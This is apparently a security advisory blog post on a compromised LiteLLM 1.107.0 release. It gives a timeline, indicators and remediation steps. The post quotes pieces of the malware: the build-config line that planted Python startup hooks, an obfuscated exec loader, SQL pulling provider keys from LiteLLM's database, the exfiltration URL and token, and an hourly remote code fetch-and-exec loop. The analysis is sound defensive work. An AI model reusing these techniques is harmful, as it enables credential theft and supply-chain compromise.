By clicking “Accept”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information.
18px_cookie
e-remove
Blog

LiteLLM 1.107.0 Compromised: Python Startup Hooks Steal Cloud, AI, and Proxy Credentials

A malicious build of LiteLLM 1.107.0 shipped to PyPI and container registries with Python startup hooks that steal credentials on every interpreter launch, including LiteLLM's own stored provider keys. The payload runs without the application ever importing LiteLLM.

Written by
Peyton Kennedy
Peyton Kennedy
Published on
October 21, 2026
Updated on
October 21, 2026

TL;DR

On October 21, 2026, litellm==1.107.0 was published from a source revision containing a credential stealer and a remote code loader. LiteLLM is a proxy and SDK that sits in front of LLM provider APIs, so the processes that run it usually hold provider API keys, cloud identities, and database connection strings. The release has since been quarantined to prevent automated downloads through package managers like PIP. Version 1.106.2 is the most recent release on PyPI.

The attack lives entirely in packaging, and LiteLLM's application code is unmodified. One line added to the Maturin build configuration, data = "cook", places three files into the Python library directory of any environment that installs the wheel: cook.pth, cook.py, and sitecustomize.py. Python executes .pth lines and imports sitecustomize on every startup, so the payload fires on any Python launch in that environment, whether or not the application uses LiteLLM.

Three things specific to this case:

  • The payload runs before the application does. Running python, pip, or a test suite in an affected environment triggers collection. This includes running Python to inspect or repair the installation, which changes how responders should approach an affected host.
  • It targets LiteLLM's own database. A dedicated module queries LiteLLM_CredentialsTable and LiteLLM_ProxyModelTable, the tables where a LiteLLM proxy stores provider credentials and model configuration. A compromised proxy can expose every provider key it manages, in addition to the keys on the host itself.
  • A reviewed tag does not show the change. The official v1.107.0 tag does not contain the data = "cook" line or the cook/ directory. The build came from a different source revision, so reviewing the tagged source misses the attack.

Affected artifacts

Artifact Status
litellm==1.107.0 wheels (7: macOS x86_64 and arm64, manylinux and musllinux x86_64 and aarch64, Windows amd64) Malicious, carry the payload
litellm==1.107.0 source distribution Built from the malicious revision, contains data = "cook", does not contain the payload files
ghcr.io/berriai/litellm:v1.107.0 Malicious
ghcr.io/berriai/litellm tags latest, main-latest, main-stable Resolved to the malicious image on October 21
ghcr.io/berriai/litellm-database:v1.107.0, ghcr.io/berriai/litellm-non_root:v1.107.0, docker.io/litellm/litellm:v1.107.0 Built from the same revision
litellm==1.106.2 Last release before the compromise

A deployment that pulls latest or main-stable could have received the malicious image without anyone selecting version 1.107.0.

Timeline

All times UTC, October 21, 2026.

Time Event
09:48:21 Commit 783c43bc adds data = "cook" to the Maturin configuration and the cook/ payload directory
10:46:29 Commit 20535d8f adds COPY cook ./cook to the backend, gateway, and migrations Dockerfiles
10:51 to 11:06 Container build runs from revision 20535d8f, recorded with source owner Berri-AI instead of BerriAI
11:39:51 litellm==1.107.0 published to PyPI
Later the same day Release quarantined on PyPI

The container build's attached provenance records the release workflow dispatching with "source_owner": "Berri-AI", a lookalike of the legitimate BerriAI organization that differs by one hyphen. How that override was authorized is not established by the available evidence.

Technical analysis

The packaging change

The entire delivery mechanism is one line in pyproject.toml:

[tool.maturin]

manifest-path = "litellm-rust/crates/python-bridge/Cargo.toml"

module-name = "litellm.rust_bridge._native"

python-source = "."

data = "cook"

python-packages = ["litellm_cli"]

Maturin's data setting copies a directory into the wheel's .data section. Files under cook/purelib/ install into the environment's site-packages alongside LiteLLM rather than inside the litellm/ package, which is why they run independently of it.

We compared the 1.107.0 source distribution against three source trees:

Compared against data = "cook" present cook/ present Source files differing from the sdist
Official tag v1.107.0 No No 309 files, including pyproject.toml
Malicious revision 783c43bc Yes Yes 0 Python or Rust source files
Malicious revision 20535d8f Yes Yes 0 Python or Rust source files

Every Python and Rust source file in the source distribution is byte-identical to the malicious revisions. The remaining 281 differences are compiled web UI assets and four Cargo.toml files where packaging adds a readme field. The source distribution was built from the malicious revision, and the packager omitted the cook/ directory from the archive. The cook/ trees in 783c43bc and 20535d8f are identical.

Execution on Python startup

The payload directory contains three files:

cook/purelib/cook.pth

cook/purelib/cook.py

cook/purelib/sitecustomize.py

cook.pth contains a single line:

import cook

Python's site module executes .pth lines that begin with import during interpreter startup. cook.py is a one-line wrapper that decodes and runs an embedded collector:

import zlib as _3659944d,base64 as _35100b45;exec(_3659944d.decompress(_35100b45.b64decode('...')), ...)

The decoded collector is 61,000 bytes. It runs in a daemon thread and sets an environment variable so child processes do not collect a second time:

def pc_entry():

    if os.environ.get('PRIVCOLLECT_ACTIVE'):

        return

    os.environ['PRIVCOLLECT_ACTIVE'] = '1'

    if PC_ASYNC:

        import threading

        threading.Thread(target=lambda: _pc_guard(pc_run_once), daemon=True).start()

After a successful upload, it writes /tmp/.pc_once_72129118c59f5636c0bb to suppress further collection. A missing marker does not clear a host. Failed uploads, temporary directory cleanup, and container replacement all leave no marker.

What the collector takes

The collector defines 16 collection modules, each wrapped in its own error handler so one failure does not stop the rest:

Module Targets
mod_sysinfo, mod_netinfo Host, user, and network information
mod_browser_pw, mod_browser_hist Chromium Login Data, cookies, and history; Firefox logins.json and key4.db
mod_ssh_keys, mod_gpg_keys, mod_tls_privkey SSH, GPG, and TLS private keys
mod_shell_hist Shell and application history
mod_cloud_creds, mod_cloud_metadata AWS, Azure, and GCP credential files; instance metadata services; AWS STS identity validation
mod_dev_secrets, mod_cicd_secrets Git credentials, npm and PyPI configuration, .netrc, .env files, CI configuration
mod_container_creds Docker and Kubernetes configuration, mounted service account secrets
mod_env_vars Non-empty environment variables, including other processes' environments on Linux
mod_ai_devtools Claude ~/.claude/.credentials.json, Codex ~/.codex/auth.json, Gemini ~/.gemini/oauth_creds.json, plus Cursor, Copilot, Windsurf, Kiro, Zed, and Amazon Q configuration
mod_db_litellm The LiteLLM proxy database, when DATABASE_URL is set

The LiteLLM-specific module queries the proxy's stored credentials and model configuration:

SELECT "credential_name", "credential_values" FROM "LiteLLM_CredentialsTable" LIMIT 500;

SELECT "model_name", "litellm_params" FROM "LiteLLM_ProxyModelTable" LIMIT 500;

On a LiteLLM proxy, those tables hold the provider API keys the proxy uses to serve every downstream team.

Exfiltration

The collector encrypts its results with AES-256-CBC, wraps the AES key with an embedded RSA public key using OAEP with SHA-256, and packages the output as a gzip-compressed tar archive. It sends the archive with up to four attempts and a 120-second timeout per attempt:

PC_URL = 'http://www.litellm.dev/healthcheck'

PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb'

The request carries the header X-Token: XWiA8gZNa7NcX2XRoAEb and an X-SHA256 checksum of the body. The /healthcheck path is cover. The request body is the encrypted collection. The collector checks only the response status and does not execute the response.

The remote code loader

sitecustomize.py is the second startup entry point. Python imports sitecustomize automatically after processing .pth files. The file contains its own copy of the collector plus a persistent loader in plain source:

GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"

CODE_PATH = "/codepy"

LOOP_INTERVAL = 3600

LOCK_FILE = "/tmp/remote_code_loader.lock"

The loader takes a lock on /tmp/remote_code_loader.lock, calls os.fork() and os.setsid() to detach, redirects its standard streams, and changes its working directory to /. Every hour it reads a domain from the GitHub file, fetches http://<domain>/codepy, and executes the response:

lambda: exec(compile(code, "<remote>", "exec"), {"__name__": "__main__"})

There is no signature or hash check on the downloaded code. The pointer file is mutable, so the operator can activate or redirect the loader at any time without publishing a new package. An empty pointer file disables only this loader. It does not affect the collector in cook.pth.

Indicators of compromise

Package and payload hashes (SHA-256)

Artifact Hash
litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
cook.pth 7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb
cook.py 9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25
sitecustomize.py 34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa
Decoded cook.py collector 6ea3d8ef6cf73a72d8df24f663b7a31ce67494eeb9b0d707b93484e66675d2df
Decoded sitecustomize.py collector 20a59e5a285799e7cf7fa16cfba1c1414f1e84a8459e14207cfd4e998c2cd24b

Container images

Image Digest
ghcr.io/berriai/litellm image index sha256:1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339e
Linux amd64 manifest sha256:bd1aeee419ea36da9aa2b657288da4101887be468f020ac63d22ba6ed84a3ea5
Linux arm64 manifest sha256:56b74573eed6e4aafe4b50603dbe7853e0345f188c8e44a09f1098caf1f4bcdf

Network and repository indicators

Indicator Role
hxxp://www[.]litellm[.]dev/healthcheck Exfiltration endpoint
X-Token: XWiA8gZNa7NcX2XRoAEb Exfiltration request header
hxxps://raw[.]githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt Loader pointer
http://<domain>/codepy Loader payload path
github[.]com/Berri-AI/litellm Lookalike source repository recorded in build provenance
Commit 783c43bc455d2e05d3cfaf194c2f325cfeab1433 Adds the Maturin data setting and payload
Commit 20535d8fa11f786a6c24df7488a0e449ed5f09ad Adds COPY cook ./cook to Dockerfiles; recorded build revision

Host indicators

Indicator Meaning
cook.pth, cook.py, or sitecustomize.py matching the hashes above in site-packages Payload installed
/tmp/.pc_once_72129118c59f5636c0bb Collector completed an upload
/tmp/remote_code_loader.lock Loader started
Environment variable PRIVCOLLECT_ACTIVE=1 in a process Collector ran in that process tree
Detached Python process with working directory / and no controlling terminal Running loader

A file named sitecustomize.py can be legitimate. Match on hash or content, not on the filename alone.

Remediation

Step 1: Find exposure

Search for the release and images anywhere they could have entered:

# Lockfiles and requirement files

grep -rnE 'litellm[=><~!]*=?\s*1\.107\.0' --include='*.txt' --include='*.lock' --include='*.toml' --include='*.cfg' .

# Installed environments: read metadata from disk, do not run the environment's Python

find / -path '*site-packages/litellm-1.107.0.dist-info' -type d 2>/dev/null

find / -path '*site-packages/cook.pth' -type f 2>/dev/null

# Local images pulled from the affected repositories, by manifest digest

docker image inspect --format '{{.Id}} {{join .RepoDigests " "}}' $(docker images -q) 2>/dev/null | \

  grep -E '1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339e|bd1aeee419ea36da9aa2b657288da4101887be468f020ac63d22ba6ed84a3ea5|56b74573eed6e4aafe4b50603dbe7853e0345f188c8e44a09f1098caf1f4bcdf'

# Kubernetes workloads running the affected images (imageID carries the digest)

kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\t"}{.status.containerStatuses[*].imageID}{"\n"}{end}' | \

  grep -E '1bbcb1443bc962|bd1aeee419ea36|56b74573eed6e4'

Check CI build logs and dependency caches from October 21, 2026, including any job that installed litellm without a version pin. Check every deployment that references ghcr.io/berriai/litellm by latest, main-latest, or main-stable.

Step 2: Contain affected hosts

  • Do not start Python or pip in an affected environment as a first step. Every interpreter start runs the collector again and can relaunch the loader.
  • Isolate the host or container from the network before investigating, and preserve process listings, filesystem state, and egress logs.
  • Inspect with tools that do not use the affected interpreter: find, sha256sum, ps, and the container runtime.
  • Kill any detached loader process, then remove cook.pth, cook.py, sitecustomize.py, and their __pycache__ entries from site-packages. Removing the litellm package alone leaves these files in place.
  • Prefer rebuilding from a clean base image or a clean environment over cleaning in place.

Step 3: Rotate credentials

If Python ran in an affected environment after installation, treat every credential that process could read as exposed. Rotate from a clean machine:

  • Provider API keys stored in the LiteLLM proxy database, which the mod_db_litellm module targets directly
  • The LiteLLM proxy master key and database credentials
  • Cloud credentials and instance roles: AWS, Azure, and GCP
  • Kubernetes service account tokens and container registry credentials
  • Git, npm, and PyPI tokens
  • SSH, GPG, and TLS private keys
  • AI tool sessions: Claude, Codex, Gemini, Cursor, and Copilot
  • Every secret present in the process environment or in .env files

Review cloud, identity provider, repository, and registry audit logs for use of these credentials after the install time.

Step 4: Hunt in network logs

  • Egress to www.litellm.dev with a POST to /healthcheck
  • Requests to raw.githubusercontent.com/letters9813/pythonclient-test
  • Any request path ending in /codepy

Scope GitHub blocking to the specific repository path. Blocking raw.githubusercontent.com broadly will break legitimate builds.

Step 5: Pin and restore

pip install 'litellm==1.106.2'

Pin container images by digest, not by tag:

image: ghcr.io/berriai/litellm@sha256:<verified 1.106.2 digest>

Block litellm==1.107.0 in your package proxy or allowlist.

Longer term

  • Treat build configuration as code. The attack is one line of pyproject.toml. Review [tool.maturin], [tool.setuptools], and equivalent packaging sections with the same scrutiny as source changes, and alert on new data or .pth entries.
  • Verify artifacts against the source you reviewed. Reviewing a tag does not protect you if the build ran from a different revision. Compare published wheel contents against the tagged source, and verify that build provenance names the expected repository owner, not just that provenance exists.
  • Alert on startup hooks in dependencies. A new .pth file containing executable lines, or a new sitecustomize.py, in a third-party wheel is rare and high-signal.
  • Pin by digest and hash. Floating container tags and unpinned installs turned a single bad release into exposure for deployments that never chose it. Hash-pinned lockfiles and digest-pinned images close that gap.
  • Separate release credentials from build inputs. Restrict release workflows to approved repository owners and reviewed revisions before they receive publishing credentials.